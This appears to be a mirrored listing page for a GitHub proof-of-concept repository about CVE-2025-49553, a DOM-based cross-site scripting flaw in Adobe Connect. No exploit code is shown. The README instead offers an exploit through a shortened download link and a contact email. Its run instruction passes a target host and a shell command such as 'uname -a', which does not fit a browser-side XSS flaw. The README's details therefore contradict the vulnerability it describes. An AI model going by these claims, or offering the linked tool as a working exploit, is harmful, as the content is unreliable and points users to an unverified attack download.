CVE-2025-49553 PoC — Adobe Connect | Cross-site Scripting (DOM-based XSS) (CWE-79)

Source

https://github.com/glitchhawks/CVE-2025-49553

Associated Vulnerability

Title: Adobe Connect | Cross-site Scripting (DOM-based XSS) (CWE-79) (CVE-2025-49553)
Description:Adobe Connect versions 12.9 and earlier are affected by a DOM-based Cross-Site Scripting (XSS) vulnerability that could be exploited by an attacker to execute malicious scripts in a victim's browser. Exploitation of this issue requires user interaction in that a victim must navigate to a crafted web page. A successful attacker can abuse this to achieve session takeover, increasing the confidentiality and integrity impact as high. Scope is changed.

Readme

# CVE-2025-49553
# Improper Neutralization of Input During Web Page Generation(CVE-2025-49553)

## Overview

A DOM-based Cross-Site Scripting (XSS) vulnerability in Adobe Connect versions 12.9 and earlier that allows attackers to execute malicious scripts in a victim's browser through a crafted web page.

## Details

- **CVE ID**: [CVE-2025-49553]
- **Discovered**: 2025-10-15
- **Published**: 2025-10-15
- **Impact**: Confidentiality
- **Exploit Availability**: Not public, only private.

## Vulnerability Description
An attacker can : - Execute malicious scripts in a victim's browser - Achieve session takeover - Compromise confidentiality and integrity of user sessions - Target users by tricking them into navigating to a malicious web page


## Affected Versions

**Adobe Connect:**

- versions 12.9 and earlier

## Running

To run exploit you need Python 3.9.
Execute:
```bash
python exploit.py -h 10.10.10.10 -c 'uname -a'
```

## Contact

For inquiries, please contact **silentexploitexe@exp.in**

## Exploit:
### Download [here](https://tinyurl.com/478kt5zu)

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →